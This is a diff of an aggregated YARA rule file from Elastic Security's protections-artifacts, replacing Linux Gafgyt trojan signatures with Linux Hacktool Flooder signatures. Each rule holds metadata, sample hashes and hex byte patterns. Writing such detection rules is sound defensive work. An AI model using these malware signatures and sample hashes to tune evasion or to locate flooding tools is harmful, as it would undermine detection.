 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103036,27 +107575,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_33801844 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 45 F8 48 83 E8 01 0F B6 00 3C 0D 75 0B 48 8B 45 F8 0F B6 00 }
+		$a = { 01 48 89 51 08 48 8B 45 A0 8B 55 CC 48 63 D2 48 C1 E2 05 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_A33A8363 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_4Bcea1C4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "a33a8363-5511-4fe1-a0d8-75156b9ccfc7"
+		id = "4bcea1c4-de08-4526-8d31-89c5512f07af"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1148-L1165"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "3fe17dc43f07dacdad6ababf141983854b977e244c0af824fea0ab953ad70fee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L360-L378"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9a564d6b29d2aaff960e6f84cd0ef4c701fefa2a62e2ea690106f3fdbabb0d71"
+		logic_hash = "76019729a3a33fc04ff983f38b4fbf174a66da7ffc05cd07eb93e3cd5aecaaa2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08"
+		fingerprint = "e859966e8281e024c82dedd5bd237ab53af28a0cb21d24daa456e5cd1186c352"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103064,28 +107604,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_A33A8363 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 41 88 02 48 85 D2 75 ED 5A 5B 5D 41 5C 41 5D 4C 89 F0 41 5E }
+		$a = { 50 FF 48 8B 45 C0 48 01 D0 0F B6 00 3C 0A 74 22 48 8B 45 C0 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_9A62845F : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_Ab561A1B : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "9a62845f-6311-49ae-beac-f446b2909d9c"
+		id = "ab561a1b-d8dd-4768-9b4c-07ef4777b252"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1167-L1185"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f67f8566beab9d7494350923aceb0e76cd28173bdf2c4256e9d45eff7fc8cb41"
-		logic_hash = "b3ab125c8bfb5b7a0be0e92cf5a50057e403ab3597698ec2e7a8bafa0d3a8b80"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L380-L398"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b7df0d491974bead05d04ede6cf763ecac30ecff4d27bb4097c90cc9c3f4155"
+		logic_hash = "5720d2ada4b33514f2d528417876606d2951786df8b0512f9e8833b8ec87127a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2ccc813c5efed35308eb2422239b5b83d051eca64b7c785e66d602b13f8bd9b4"
+		fingerprint = "081dd5eb061c8023756e413420241e20a2c86097f95859181ca5d6b1d24fdd76"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103093,28 +107633,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_9A62845F : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 10 83 F8 20 7F 1E 83 7D 08 07 75 33 8B 45 0C 83 C0 18 8B 00 83 }
+		$a = { B5 50 FF FF FF 64 48 8B 04 25 28 00 00 00 48 89 45 C8 31 C0 83 BD 5C FF FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_4D81Ad42 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_1A4Eb229 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "4d81ad42-bf08-48a9-9a93-85cb491257b3"
-		date = "2021-04-06"
+		id = "1a4eb229-a194-46a5-8e93-370a40ba999b"
+		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1187-L1205"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3021a861e6f03df3e7e3919e6255bdae6e48163b9a8ba4f1a5c5dced3e3e368b"
-		logic_hash = "57b54eed37690949ba2d4eff713691f16f00207d7b374beb7dfa2e368588dbb0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L400-L418"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bf6f3ffaf94444a09b69cbd4c8c0224d7eb98eb41514bdc3f58c1fb90ac0e705"
+		logic_hash = "83b04e366a05a46ad67b9aaf6b9658520e119003cd65941dd69416cbc5229c30"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f285683c3b145990e1b6d31d3c9d09177ebf76f183d0fa336e8df3dbcba24366"
+		fingerprint = "de076ef23c2669512efc00ddfe926ef04f8ad939061c69131a0ef9a743639371"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103122,27 +107662,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_4D81Ad42 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 0F 44 C8 07 0B BF F1 1B 7E 83 CD FF 31 DB 2E 22 }
+		$a = { F4 8B 45 E8 83 C0 01 89 45 F8 EB 0F 8B 45 E8 83 C0 01 89 45 F4 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_6A510422 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_51Ef0659 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "6a510422-3662-4fdb-9c03-0101f16e87cd"
-		date = "2021-06-28"
+		id = "51ef0659-2691-4558-bff8-fce614f10ab9"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1207-L1225"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "4384536817bf5df223d4cf145892b7714f2dbd1748930b6cd43152d4e35c9e56"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L420-L438"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7a2bc75dd9c44c38b2a6e4e7e579142ece92a75b8a3f815940c5aa31470be2b"
+		logic_hash = "26dd95cb1cdaec10d408e294a3baca85d741cf5e56649cdcc79ef7216e4cb440"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8ee116ff41236771cdc8dc4b796c3b211502413ae631d5b5aedbbaa2eccc3b75"
+		fingerprint = "41f517a19a3c4dc412200b683f4902a656f3dcfdead8b8292e309413577c3850"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103150,27 +107691,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_6A510422 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 0B E5 24 30 1B E5 2C 30 0B E5 1C 00 00 EA 18 30 1B E5 00 30 }
+		$a = { E0 03 48 89 45 B0 8B 45 9C 48 63 D0 48 83 EA 01 48 89 55 B8 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_D2953F92 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_D90C4Cbe : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "d2953f92-62ee-428d-88c5-723914c88c6e"
-		date = "2021-06-28"
+		id = "d90c4cbe-4d0a-4341-a58b-a472b67282d6"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1227-L1245"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d0af462d26f6ffe469c57d63f1f7d551e3fb9cc39c7e4c35b3e71f659c01c076"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L440-L458"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "409c55110d392aed1a9ec98a6598fb8da86ab415534c8754aa48e3949e7c4b62"
+		logic_hash = "145d32f8a06af18e6f13b0905cc51fd7b1a9e00b41b0f0a5d537ada2b54a94b5"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "276c6d62a8a335d0e2421b6b5b90c2c0eb69eec294bc9fcdeb7743abbf08d8bc"
+		fingerprint = "64796aa7faa2e945b5c856c1c913cb62175413dc1df88505dececcfbd2878cb1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103178,27 +107720,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_D2953F92 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 1B E5 2A 00 53 E3 0A 00 00 0A 30 30 1B E5 3F 00 53 E3 23 00 }
+		$a = { 89 D8 F7 D0 5B 5D C3 55 48 89 E5 48 83 EC 40 48 89 7D C8 48 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_6Ae4B580 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_C680C9Fd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "6ae4b580-f7cf-4318-b584-7ea15f10f5ea"
-		date = "2021-06-28"
+		id = "c680c9fd-34ad-4d92-b8d6-1b511c7c07a3"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1247-L1265"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "eb0fe44df1c995c5d4e3a361c3e466f78cb70bffbc76d1b7b345ee651b313b9e"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L460-L478"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ea56da9584fc36dc67cb1e746bd13c95c4d878f9d594e33221baad7e01571ee6"
+		logic_hash = "a283132ffdd109b8b1f01e5a3e2700b70b742945c7ae8b15b2b244fb249a5e3d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "279e344d6da518980631e70d7b1ded4ff1b034d24e4b4fe01b36ed62f5c1176c"
+		fingerprint = "5cb5b36d3ae5525b992a9d395b54429f52b11ea229e0cecbd62317af7b5faf84"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103206,27 +107749,28 @@ rule ELASTIC_Linux_Trojan_Gafgyt_6Ae4B580 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 30 0B E5 3C 20 1B E5 6C 32 1B E5 03 00 52 E1 01 00 00 DA 6C }
+		$a = { 45 A0 8B 55 CC 48 63 D2 48 C1 E2 05 48 01 D0 48 8D 48 10 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_D608Cf3B : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_E63396F4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "d608cf3b-c255-4a8d-9bf1-66f92eacd751"
-		date = "2021-06-28"
+		id = "e63396f4-a297-4d99-b341-34cb22498078"
+		date = "2021-04-06"
 		modified = "2021-09-16"
-		reference = "14cc92b99daa0c91aa09d9a7996ee5549a5cacd7be733960b2cf3681a7c2b628"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1267-L1285"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "ad5b7d32c85adc7f778a8f4815e595b90a6f15dec048bcf97c6ab179582eb4f7"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L480-L498"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "913e6d2538bd7eed3a8f3d958cf445fe11c5c299a70e5385e0df6a9b2f638323"
+		logic_hash = "d3f7c62a7411caf86ee574a686b4b1972066602f89d39ae9e49ba66d9917c7c9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3825aa1c9cddb46fdef6abc0503b42acbca8744dd89b981a3eea8db2f86a8a76"
+		fingerprint = "269285d03ea1a3b41ff134ab2cf5e22502626c72401b83add6c1e165f4dd83f8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103234,256 +107778,257 @@ rule ELASTIC_Linux_Trojan_Gafgyt_D608Cf3B : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { FF 2F E1 7E 03 00 00 78 D8 00 00 24 00 00 00 28 00 00 00 4C }
+		$a = { 02 83 45 FC 01 81 7D FC FF 0F 00 00 7E ?? 90 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_3F8Cf56E : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_7D5355Da : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "3f8cf56e-a8cb-4c03-8829-f1daa3dc64a8"
+		id = "7d5355da-5fbd-46c0-8bd2-33a27cbcca63"
 		date = "2021-06-28"
 		modified = "2021-09-16"
-		reference = "1878f0783085cc6beb2b81cfda304ec983374264ce54b6b98a51c09aea9f750d"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1287-L1305"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "b2cf8b1913a88e6a6346f0ac8cd2e7c33b41d44bf60ff7327ae40a2d54748bd9"
+		reference = "03397525f90c8c2242058d2f6afc81ceab199c5abcab8fd460fabb6b083d8d20"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L500-L518"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "b4540f941ca1a36c460d056ef263ebd67c6388f3f6f373f50371f7cca2739bc4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "77306f0610515434371f70f2b42c895cdc5bbae2ef6919cf835b3cfe2e4e4976"
-		severity = 100
+		fingerprint = "52882595f28e1778ee3b0e6bda94319f5c348523f16566833281f19912360270"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 45 2F DA E8 E9 CC E4 F4 39 55 E2 9E 33 0E C0 F0 FB 26 93 31 }
+		$a = { 89 E5 48 83 EC 60 64 48 8B 04 25 28 00 00 00 48 89 45 F8 31 C0 BF 0A 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Fb14E81F : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_A9E8A90F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "fb14e81f-be2a-4428-9877-958e394a7ae2"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "0fd07e6068a721774716eb4940e2c19faef02d5bdacf3b018bf5995fa98a3a27"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1307-L1325"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2efb958c269640c374485502611372f4404cf35d7ab704d20ce37b8c1f69645d"
+		id = "a9e8a90f-5d95-4f4e-a9e0-c595be3729dd"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "0558cf8cab0ba1515b3b69ac32975e5e18d754874e7a54d19098e7240ebf44e4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L520-L538"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "8f1fcb736a9363142a25426ef2d166f92526bffaf8069f1b12056c9cf5825379"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "12b430108256bd0f57f48b9dbbea12eba7405c0b3b66a1c4b882647051f1ec52"
-		severity = 100
+		fingerprint = "a06bbcbc09e5e44447b458d302c47e4f18438be8d57687700cb4bf3f3630fba8"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 4E 45 52 00 53 43 41 4E 4E 45 52 20 4F 4E 20 7C 20 4F 46 46 00 }
+		$a = { 45 D8 48 89 45 F0 66 C7 45 EE 00 00 EB 19 48 8B 45 F0 48 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_E09726Dc : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_A598192A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "e09726dc-4e6d-4115-b178-d20375c09e04"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "1e64187b5e3b5fe71d34ea555ff31961404adad83f8e0bd1ce0aad056a878d73"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1327-L1345"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "ebd00e593a7fcd46e36fd0ca213e1f82c0f4a94448b6fd605d35cea45a490493"
+		id = "a598192a-c804-4c57-9cc3-c2205cb431d3"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "101f2240cd032831b9c0930a68ea6f74688f68ae801c776c71b488e17bc71871"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L540-L558"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "19909f53acca8c84125c95fc651765a25162c5f916366da8351e67675393e583"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "614d54b3346835cd5c2a36a54cae917299b1a1ae0d057e3fa1bb7dddefc1490f"
-		severity = 100
+		fingerprint = "61cb72180283746ebbd82047baffc4bf2384658019970c4dceadfb5c946abcd2"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 00 00 48 83 EC 08 48 83 C4 08 C3 00 00 00 01 00 02 00 50 49 4E 47 }
+		$a = { 8D 65 D8 5B 5E 5F C9 C3 8D 36 55 89 E5 83 EC 18 57 56 53 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_Ad12B9B6 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_53Bf4E37 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "ad12b9b6-2e66-4647-8bf3-0300f2124a97"
-		date = "2022-01-05"
-		modified = "2022-01-26"
-		reference = "f0411131acfddb40ac8069164ce2808e9c8928709898d3fb5dc88036003fe9c8"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1347-L1365"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "72a85d14eb8ab78364ea2e8b89d9409c0046b14602f4a3415d829f4985fb2de3"
+		id = "53bf4e37-e043-4cf2-ad2a-bc63d69585ae"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "101f2240cd032831b9c0930a68ea6f74688f68ae801c776c71b488e17bc71871"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L560-L578"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d1aabf8067b74dac114e197722d51c4bbb9a78e6ba9b5401399930c29d55bdcc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "46d86406f7fb25f0e240abc13e86291c56eb7468d0128fdff181f28d4f978058"
-		severity = 100
+		fingerprint = "83e804640b0848caa532dadc33923c226a34e0272457bde00325069ded55f256"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 4C 52 46 00 4B 45 46 31 4A 43 53 00 4B 45 46 31 51 45 42 00 }
+		$a = { 74 00 49 50 5F 48 44 52 49 4E 43 4C 00 57 68 61 74 20 74 68 65 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_0535Ebf7 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_50158A6E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "0535ebf7-844f-4207-82ef-e155ceff7a3e"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1367-L1385"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "77e18bb5479b644ba01d074057c9e2bd532717f6ab3bb88ad2b7497b85d2a5de"
-		logic_hash = "eb574468e9d371def0da74e6aba827272181399a84388a14ffb167ec6ebd40d1"
+		id = "50158a6e-d412-4e37-a8b5-c7c79a2a5393"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "1e0cdb655e48d21a6b02d2e1e62052ffaaec9fdfe65a3d180fc8afabc249e1d8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Flooder.yar#L580-L598"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "67c22fcf514a3e8c2c27817798c796aacf00ba82e1090894aa2c1170a1e2a096"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2b9b17dad296c0a58a7efa1fb3f71c62bf849f00deb978c1103ab8a480290024"
-		severity = 100
+		fingerprint = "f6286d1fd84aad72cdb8c655814a9df1848fae94ae931ccf62187c100b27a349"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { F8 48 8B 04 24 6A 18 48 F7 14 24 48 FF 04 24 48 03 24 24 48 8D 64 }
+		$a = { 45 F8 48 01 D0 48 89 45 D8 0F B7 45 E6 48 8D 50 33 48 8B 45 F8 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Gafgyt_32A7Edd2 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Flooder_F454Ec10 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
+		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
 		author = "Elastic Security"
-		id = "32a7edd2-175f-45b3-bf3d-8c842e4ae7e7"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Gafgyt.yar#L1387-L1405"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79a75c8aa5aa0d1edef5965e1bcf8ba2f2a004a77833a74870b8377d7fde89cf"
